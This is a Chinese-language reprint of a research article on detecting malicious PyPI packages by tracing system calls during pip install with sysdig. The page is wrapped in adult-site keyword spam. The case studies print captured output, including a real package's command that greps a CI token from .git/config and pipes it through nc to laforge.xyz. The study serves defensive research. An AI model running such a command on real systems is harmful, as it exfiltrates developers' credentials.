精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

在PyPI上尋找惡意程序包

安全
大約一年前,Python軟件基金會(Python Software Foundation)發起了一個信息請求(RFI)活動,討論如何檢測上傳到PyPI的惡意程序包。

大約一年前,Python軟件基金會(Python Software Foundation)發起了一個信息請求(RFI)活動,討論如何檢測上傳到PyPI的惡意程序包。無論是接管廢棄的程序包、在流行的庫中誤植域名(Typosquatting),還是使用憑證填充劫持程序包,很明顯,這是一個影響幾乎每一個程序包管理器的實際問題。誤植域名(Typosquatting),也稱作URL劫持,假URL等,是一種域名搶注的形式,常常會導致品牌劫持。這種劫持的方式通常有賴于用戶在瀏覽器中輸入網址時,犯下諸如錯誤拼寫等錯誤。用戶一旦不小心輸入了一個錯誤的網址,便有可能被導向任何一個其他的網址(比如說一個域名搶注者運營的網站)。

事實上,像PyPI這樣的程序包管理器是幾乎所有公司都依賴的關鍵基礎設施。關于這個主題,我可以寫好幾天,但是我現在只寫這篇xkcd就夠了。

這是我感興趣的領域,因此我對如何處理此問題提出了自己的想法。但還有一件事困擾我:考慮安裝程序包后會發生什么。

盡管對于某些設置活動可能是必需的,但應始終使用相關查看工具來查看諸如在pip安裝過程中建立網絡連接或執行命令之類的事情,因為它沒有給開發人員太多機會在糟糕的事情發生之前檢查代碼。

我想對此做進一步的研究,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的每個程序包以尋找惡意活動。

如何發現惡意庫

為了在安裝過程中運行任意命令,開發者通常會將代碼添加到程序包中的setup.py文件中,你可以在此存儲庫中看到一些示例。

在更高層次上講,你可以執行以下兩項操作來查找潛在的惡意依賴項:你可以查看代碼中的不良內容(靜態分析),或者危險地安裝它們看看會發生什么(動態分析)。

雖然靜態分析非常有趣(我發現了npm上使用手工grep的惡意程序包),但在這篇文章中,我將重點關注動態分析。畢竟,動態分析的能力更加強大,因為你看到的是實際發生的事情,而不是只尋找可能發生的惡意行為。

那么我們到底在尋找什么呢?

重要事情如何完成

通常,任何重要的事情在發生時都由內核完成。希望通過內核執行重要操作的普通程序(如pip)是通過使用syscall來完成的。使用syscall可以完成打開文件,建立網絡連接和執行命令的所有操作!你可以點此了解到更多的信息。

這意味著,如果我們可以在安裝Python程序包期間系統調用,則可以查看是否發生了任何可疑事件。好處是,代碼的混淆程度無關緊要,我們將看到實際發生的情況。

需要注意的是,系統調用的想法并不是我想出來的。自2017年以來,亞當·鮑德溫(Adam Baldwin) 等人一直在討論這個問題。喬治亞理工學院的研究人員發表了一篇很好的論文采用了同樣的方法。老實說,本文的大部分內容只是試圖復制他們的想法。

因此,我們想要知道系統調用具體是如何做到這一點呢?

用Sysdig查看系統調用

Sysdig 是一個超級系統工具,比 strace、tcpdump、lsof 加起來還強大??捎脕聿东@系統狀態信息,保存數據并進行過濾和分析。使用 Lua 開發,提供命令行接口以及強大的交互界面。

有許多旨在讓你查看系統調用的工具,本文中使用的是sysdig,因為它既提供結構化輸出,又提供了一些非常好的過濾功能。

為了實現這一點,在啟動安裝程序包的Docker容器時,我還啟動了一個sysdig進程,該進程僅監控該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進行的網絡讀/寫操作,因為我不想用與程序包下載相關的流量來填充日志。

通過捕獲系統調用的方法,我不得不解決另一個問題:如何獲取所有PyPI程序包的列表。

獲取Python包

幸運的是,PyPI有一個稱為“簡單API”的API,它也可以被認為是“一個非常大的HTML頁面,其中包含指向每個程序包的鏈接”,它簡單、干凈而且比我可能會寫的任何HTML都要好。

我們可以抓取這個頁面并使用pup解析所有鏈接,從而為我們提供約268000個程序包:

在這個測試中,我只關心每個程序包的最新版本。較舊的版本中可能埋藏著惡意版本的程序包,但AWS賬單不會自己承擔。

我最終得到了一個看起來像這樣的管道:

簡而言之,我們將每個程序包名稱發送到一組EC2實例(我希望將來使用Fargate或其他東西,但我也不知道Fargate),從PyPI獲取一些關于程序包的元數據,然后開始sysdig以及一系列的容器pip安裝程序包,系統調用和網絡流量被收集。然后,將所有數據發送到S3,以供future-Jordan處理。

這個過程如下所示:

查看結果

一旦完成上面的步驟,我將在一個S3存儲桶中存儲大約1TB的數據,覆蓋大約245000個程序包。一些程序包沒有發布的版本,一些程序包具有各種處理錯誤,但是這似乎是一個很好的示例。

以下是具體分析過程

我合并了元數據和輸出,得到如下的一系列JSON文件:

然后,我編寫了一系列腳本來開始匯總數據,以試圖了解什么是良性的,什么是惡性的。讓我們深入研究一下這些輸出結果。

網絡請求

在安裝過程中,程序包需要建立網絡連接的原因有很多,他們可能需要下載合法的二進制組件或其他資源,這可能是一種分析形式,或者可能正試圖從系統中竊取數據或憑據。

結果發現,有460個數據程序包連接到109個獨立的主機,就像上面提到的文章一樣,很多這樣的程序包都是由于程序包共享了網絡連接的依賴關系而產生的??梢酝ㄟ^映射依賴關系來過濾掉它們,但在本文的示范中我還沒有這樣做,這是安裝過程中看到的DNS請求明細。

命令執行

像網絡連接一樣,在安裝過程中,程序包有合理的理由運行系統命令。這可能是編譯本機二進制文件,設置正確的環境等。

查看我們的樣本集,發現60725個程序包在安裝過程中正在執行命令。就像網絡連接一樣,我們必須牢記,其中許多是下游依賴項(運行命令的程序包)的結果。

有趣的程序包

正如預期的那樣,經過深入研究結果,大多數網絡連接和命令似乎都是合法的。但也有一些奇怪行為的例子,我想列舉出來作為案例研究,以說明這種類型的分析是多么有用。

(1) i-am-malicious

一個名為i-am-malicious的程序包似乎是一個惡意程序包的概念驗證,以下是一些有趣的細節,使我們認為該程序包值得研究:

  1.   "dns": [{ 
  2.           "name": "gist.githubusercontent.com", 
  3.           "addresses": [ 
  4.             "199.232.64.133" 
  5.           ] 
  6.     }] 
  7.   ], 
  8.   "files": [ 
  9.     ... 
  10.     { 
  11.       "filename": "/tmp/malicious.py", 
  12.       "flag": "O_RDONLY|O_CLOEXEC" 
  13.     }, 
  14.     ... 
  15.     { 
  16.       "filename": "/tmp/malicious-was-here", 
  17.       "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC" 
  18.     }, 
  19.     ... 
  20.   ], 
  21.   "commands": [ 
  22.     "python /tmp/malicious.py" 
  23.   ] 

我們已經知道這里發生了什么,可以看到一個到gist.github.com的連接,正在執行一個Python文件,正在創建一個名為/tmp/malicious-was-here的文件。當然,這正是setup.py中所發生的事情:

正在討論的malicious.py只是向/tmp/malicious-was-here添加了一個“我曾在這里”類型消息,表明這確實是一個概念驗證。

(2) maliciouspackage

另一個自稱為惡意程序的程序包則有創意地命名為maliciouspackage,它的攻擊能力要稍高一些。以下是相關輸出:

  1.   "dns": [{ 
  2.       "name": "laforge.xyz", 
  3.       "addresses": [ 
  4.         "34.82.112.63" 
  5.       ] 
  6.   }], 
  7.   "files": [ 
  8.     { 
  9.       "filename": "/app/.git/config", 
  10.       "flag": "O_RDONLY" 
  11.     }, 
  12.   ], 
  13.   "commands": [ 
  14.     "sh -c apt install -y socat", 
  15.     "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566", 
  16.     "grep ci-token /app/.git/config", 
  17.     "nc laforge.xyz 5566" 
  18.   ] 

和前面一樣,根據輸出結果我們可以對正在發生的事情有了一個很好的了解。在本例中,程序包似乎從.git/config文件中提取了一個令牌,并將其上傳到laforge.xyz,我們發現確實是這樣:

(3) easyIoCtl

easyIoCtl程序包確實是一個有趣的程序包。它聲稱提供了“遠離無聊的IO操作的抽象”,但我們看到下面的命令正在執行:

結果很可疑,但并不是非常的有攻擊性。然而,這是一個展示跟蹤系統調用攻擊能力的完美示例。下面是該項目setup.py中的相關代碼:

有這么多的混淆,很難知道發生了什么。傳統的靜態分析可能會捕獲對exec的調用,但僅此而已。

要查看它在做什么,我們可以用print替換exec,結果如下:

這正是我們記錄的命令,表明即使代碼混淆也不會影響我們的結果,因為我們是在系統調用級別進行監控。

當我們發現惡意程序包時會發生什么?

這個問題有必要簡要討論一下,當我們發現惡意程序包時,我們能做些什么。要做的第一件事是通知PyPI開發者,讓他們可以得到這個程序包。這可以通過聯系security@python.org.1來實現

之后,我們可以使用BigQuery上的PyPI公共數據集查看程序包被下載了多少次。

這是一個示例查詢,用于查找在過去30天內安裝了惡意軟件包的次數:

運行這個查詢可以查出它被下載400次以上:

maliciouspackage下載

總結

第一步只是初步了解了整個PyPI,通過查看數據,我沒有發現有任何程序包做了明顯的有害活動,而且也沒有看起來惡意的名稱,雖然情況很樂觀,但是我總是有可能錯過某些事情,或者將來會發生。如果你有興趣深入研究數據,你可以在這里找到它。

接下來,我將設置一個Lambda函數來使用PyPI的RSS feed獲取最新的程序包更改,每個更新后的程序包都將經過相同的處理,并在檢測到可疑活動時發送警報。

我仍然不喜歡僅通過用戶 pip install就可以在用戶系統上運行任意命令,我知道的大多數用例都是良性的,但帶來的風險也必須考慮。希望通過越來越多地監控各種程序包管理器,我們可以在惡意活動產生重大影響之前識別其跡象。

 

責任編輯:趙寧寧 來源: 嘶吼網
相關推薦

2016-12-26 15:28:34

惡意程序PowerShellA程序

2013-03-07 09:26:47

2012-10-24 17:21:46

2011-03-30 09:20:08

2011-08-11 11:26:11

2015-01-06 11:37:58

惡意程序查殺Rootkit Hun

2012-06-04 09:16:39

2017-10-10 14:41:38

Linux

2012-07-25 09:25:38

惡意程序蠕蟲病毒

2010-04-07 15:53:46

2009-05-09 18:22:33

2012-07-10 16:40:23

2021-04-28 09:35:16

惡意程序惡意代碼、攻擊

2012-11-30 13:02:13

2022-08-16 19:45:03

惡意軟件加密

2021-07-03 09:26:49

黑客微軟惡意程序

2013-10-25 13:49:27

2015-09-15 13:49:41

2014-07-04 11:09:14

2014-03-06 17:24:30

點贊
收藏

51CTO技術棧公眾號

国产精品1区2区3区4区| av动漫在线免费观看| 国产精品777777| 成人在线一区| 欧美一卡二卡三卡四卡| 欧美二区在线视频| av电影在线观看网址| 国产精品一二三区| 国产成人精品优优av| 欧美日韩精品在线观看视频| 亚洲精华一区二区三区| 欧美一级高清片| 三级4级全黄60分钟| 99热国产在线| 中文字幕国产一区| 国产精品久久久久久久天堂第1集 国产精品久久久久久久免费大片 国产精品久久久久久久久婷婷 | 久久99热99| 国模精品系列视频| 精品国产国产综合精品| 青春草国产视频| 亚洲精品无码专区| 蜜臀av性久久久久蜜臀av麻豆| 久久99久久99精品免观看粉嫩 | 欧美日韩成人免费| 美女av免费看| 九九在线精品| 亚洲高清一区二| 色诱av手机版| 国产一区二区三区亚洲综合| 在线亚洲欧美专区二区| 波多野结衣乳巨码无在线| 秋霞午夜在线观看| 久久久91精品国产一区二区三区| 国产精品一区二区三区在线| 国产高清免费观看| 精品一区二区三区免费视频| 国产成人在线亚洲欧美| 精品国产一区二区三区四| 亚洲第一黄色| 欧美激情影音先锋| 久草视频中文在线| 亚洲高清影视| 久久天堂电影网| 潮喷失禁大喷水aⅴ无码| 免费国产自久久久久三四区久久| 日韩久久久久久| 中文字幕一区二区在线观看视频 | 91日韩中文字幕| 欧美顶级大胆免费视频| 深夜福利91大全| 男人天堂资源网| 国产精品久久久久久麻豆一区软件| 国产一区二区激情| 麻豆视频免费在线播放| 色婷婷亚洲mv天堂mv在影片| 中文字幕精品一区二区精品| 日日操免费视频| 91欧美在线| 久久最新资源网| 色偷偷噜噜噜亚洲男人的天堂| 日本www在线视频| 极品视频在线| 色综合色综合色综合色综合色综合| 国自产拍偷拍精品啪啪一区二区| 欧美另类老肥妇| 色综合色狠狠天天综合色| 日日摸天天爽天天爽视频| 全亚洲第一av番号网站| 欧美亚洲免费在线一区| 九九九九九九九九| 动漫3d精品一区二区三区乱码| 日韩av影视综合网| 中文字幕免费在线看线人动作大片| 久操成人av| 久久精彩免费视频| 九九热这里有精品视频| 亚洲欧美日韩国产| 国产精品十八以下禁看| 国产极品久久久| 91色乱码一区二区三区| 亚洲精品视频一二三| 污污视频在线| 欧美性猛交xxxx免费看| www.久久91| 第四色中文综合网| 亚洲色图15p| 自拍偷拍第9页| 欧美网站在线| 日本欧美精品在线| 国产又粗又黄又爽的视频| 懂色av噜噜一区二区三区av| 麻豆成人小视频| 国产在线1区| 欧美视频裸体精品| 少妇性l交大片7724com| 欧美日韩xxxx| 九九热这里只有精品免费看| 国产亚洲欧美在线精品| 国产精品一区三区| 欧美日韩国产综合视频在线| 黄色网址免费在线观看| 日韩欧美综合在线视频| 三级黄色片免费看| 啪啪亚洲精品| 久久久久久成人精品| 最近中文字幕在线观看视频| 成人在线视频首页| 超碰成人在线免费观看| 免费cad大片在线观看| 午夜视频在线播放| 亚洲欧美激情视频在线观看一区二区三区 | 黑人一区二区| 国产狼人综合免费视频| | 久久先锋影音av| 国产精品8888| 96视频在线观看欧美| 国产一区二区黑人欧美xxxx| 日韩精品一区二区av| 国产乱人伦偷精品视频不卡| 日韩一二三区不卡在线视频| 黄色污网站在线观看| 日韩精品中文字幕一区二区三区| 欧美 日韩 成人| 亚洲欧美日韩国产一区| 国产欧美一区二区在线播放| 国产黄大片在线观看画质优化| 在线免费亚洲电影| 亚洲熟妇一区二区三区| 一区二区三区四区五区在线| 99国产高清| av香蕉成人| 欧美一区二区三区不卡| 国产免费一区二区三区四区| 免费成人在线网站| 日韩在线导航| 成人国产综合| 色老头一区二区三区| 中文在线最新版天堂| 国产日产欧产精品推荐色 | 久久久久久天堂| 国产美女精品在线| 国产成人三级视频| 国产亚洲久久| 欧美美最猛性xxxxxx| 国产精品视频第一页| 亚洲色大成网站www久久九九| 不卡的av中文字幕| 97精品视频在线看| 成人精品网站在线观看| 黄色成人在线| 欧美一级高清大全免费观看| 日本中文字幕免费在线观看| 国产伦理精品不卡| 国产丝袜精品视频| 韩国无码av片在线观看网站| 玖玖精品一区| 欧美激情一二三| 婷婷丁香一区二区三区| 色诱视频网站一区| 97人妻人人揉人人躁人人| 青青草国产成人99久久| 亚洲午夜精品久久久中文影院av | 亚洲日本成人| 欧美高清视频一区| 成人18视频在线观看| 久久综合免费视频| 五月婷婷六月色| 欧美最猛性xxxxx直播| 老司机深夜福利网站| 国产乱一区二区| 日韩精品―中文字幕| 精品中文字幕一区二区三区av| 国产精品美腿一区在线看| av网站在线免费| 亚洲国产日韩欧美在线图片| 亚洲大尺度在线观看| 中文字幕日本乱码精品影院| 丰满少妇中文字幕| 亚洲欧美清纯在线制服| 在线视频不卡一区二区三区| 99亚洲乱人伦aⅴ精品| 日韩av电影在线网| 国产在线观看a| 国产视频综合在线| 国产黄a三级三级看三级| 五月婷婷综合网| 四虎影视一区二区| av在线一区二区三区| 国产原创精品在线| 国产亚洲综合精品| 中文字幕乱码免费| 免费不卡中文字幕在线| 91aaaa| 亚洲人免费短视频| 国内精品免费午夜毛片| 伊人免费在线| 亚洲欧美一区二区三区情侣bbw| 国产又黄又大又爽| 欧美日韩亚洲成人| 亚洲国产精品免费在线观看| 久久久精品国产99久久精品芒果| 亚洲综合在线一区二区| 久久久久99| 日韩视频免费播放| 天堂av一区二区三区| 日韩av中文字幕一区二区三区| 天天成人综合网| 自拍亚洲一区| 国产视频一区二区不卡| 欧美性www| 国产成人福利网站| ****av在线网毛片| 久久97精品久久久久久久不卡| 韩国福利在线| 亚洲国产精品久久| 国产极品久久久| 91麻豆精品91久久久久久清纯| 国产成人精品777777| 亚洲国产人成综合网站| 欧美日韩黄色网| 国产精品水嫩水嫩| a级片在线观看| 91网上在线视频| 白嫩情侣偷拍呻吟刺激 | 国产精品狼人色视频一区| 高清在线视频不卡| 久久琪琪电影院| 在线中文字幕-区二区三区四区| 最近2019年好看中文字幕视频| 极品美乳网红视频免费在线观看| 亚洲精品动漫100p| 欧美一级性视频| 亚洲精品在线电影| 亚洲黄色在线播放| 欧美一级理论片| 国产精品久久久久精| 欧美人与性动xxxx| 在线免费观看高清视频| 日本久久一区二区| 正在播放木下凛凛xv99| 在线观看日韩国产| 亚洲av无码乱码国产精品fc2| 色婷婷国产精品久久包臀| 一级片中文字幕| 欧美日韩国产中文字幕| 久久国产视频播放| 日本乱人伦aⅴ精品| 国产日韩在线免费观看| 精品视频一区二区不卡| 一级特黄aaa大片| 5月丁香婷婷综合| 国产xxxx在线观看| 精品国产一区二区三区av性色| 亚洲成熟女性毛茸茸| 亚洲第一色在线| 神马久久精品| 夜夜嗨av色综合久久久综合网 | 国产精品久久久久9999吃药| 精品人体无码一区二区三区| 国产精品国产三级国产有无不卡 | 碰碰在线视频| 日韩美女免费观看| 国产成人精品一区二区三区免费| 国产欧美一区二区| 亚洲精品一二三**| 久久久久久久久久久一区| 国产精品三级| 宅男在线精品国产免费观看| 午夜国产精品视频| 欧美日韩国产精品激情在线播放| 可以看av的网站久久看| 午夜av中文字幕| 91丨九色porny丨蝌蚪| 在线观看免费黄色网址| 亚洲女女做受ⅹxx高潮| 日韩高清免费av| 欧美性大战久久久久久久蜜臀| 国产美女主播在线观看| 亚洲精品97久久| av在线电影网| 久久99视频精品| 欧美日韩亚洲国产| 91成人理论电影| 蜜乳av综合| 成人在线观看毛片| 日韩精品五月天| 老司机av网站| 国产精品视频观看| 久久精品这里有| 欧美视频一二三区| 天天干天天摸天天操| 色噜噜久久综合伊人一本| 超碰99在线| 国产一区二区在线免费| 日韩精选在线| 超碰超碰超碰超碰超碰| 久久久久久婷| www.啪啪.com| 亚洲欧洲综合另类在线| 国产一区二区视频网站| 精品99一区二区| 国产日产一区二区三区| 日韩免费在线视频| 果冻天美麻豆一区二区国产| 一本一道久久久a久久久精品91 | 国产91av在线| 日韩高清在线观看一区二区| 麻豆成人在线播放| 亚洲三级免费| 国产成人精品综合久久久久99| 日本一二三不卡| 免费黄色网址在线| 精品精品欲导航| 制服丝袜在线播放| 91欧美激情另类亚洲| 精品日韩毛片| 日本中文字幕片| gogo大胆日本视频一区| 青青草手机在线观看| 欧美精品xxxxbbbb| youjizz在线播放| 欧洲精品久久久| 欧美男人操女人视频| 国产小视频免费| 国产精品影音先锋| 日韩福利小视频| 91精品在线观看入口| 日韩在线观看www| 国产精品色午夜在线观看| 波多野结衣在线观看一区二区三区 | 亚洲尤物精选| 日本少妇毛茸茸| 婷婷综合另类小说色区| 亚洲精品喷潮一区二区三区| 欧美另类精品xxxx孕妇| 午夜日韩影院| 毛片av在线播放| 成人精品国产福利| 国产精品美女毛片真酒店| 精品电影一区二区| 538视频在线| 精品伦精品一区二区三区视频| 亚洲日本欧美| 中文人妻一区二区三区| 欧美性猛交xxxx乱大交3| 六十路在线观看| 国产精品老女人精品视频| 日韩国产一区| 日本高清一区二区视频| 亚洲激情在线播放| 亚洲精品久久久久久久久久| 久久久伊人欧美| 校花撩起jk露出白色内裤国产精品| 国产精品丝袜久久久久久消防器材| 97se亚洲国产综合自在线| 黄色av一级片| 色妞一区二区三区| 秋霞一区二区| www在线观看免费| 久久久久久电影| 国产又粗又猛又爽又黄视频 | 亚洲国产精品成人精品| 激情aⅴ欧美一区二区欲海潮| 噜噜噜噜噜久久久久久91| 丝袜美腿亚洲综合| 五月天色婷婷丁香| 精品国产露脸精彩对白| 中文在线а√在线8| 日韩影片在线播放| 国产精品自拍毛片| 九九热在线视频播放| 在线精品视频视频中文字幕| 在线观看亚洲精品福利片| 国产玉足脚交久久欧美| 久久免费看少妇高潮| 国产一区二区三区四区视频| 国内精品免费午夜毛片| 精品日韩在线| 精品人妻无码中文字幕18禁| 一本色道久久综合亚洲aⅴ蜜桃| 日韩伦理在线电影| 国产伦精品一区二区| 老妇喷水一区二区三区| 手机在线免费看片| 精品一区二区亚洲| 香蕉久久一区| 日日摸日日碰夜夜爽av | 日本一区二区三区免费视频| 亚洲一二在线观看| 电影一区二区在线观看| 日韩一区二区三区久久| 污片在线观看一区二区| 最新国产在线观看| 国产中文一区二区| 国产专区欧美精品| 天堂网一区二区| 久久久久久午夜| 我不卡影院28| 人妻视频一区二区|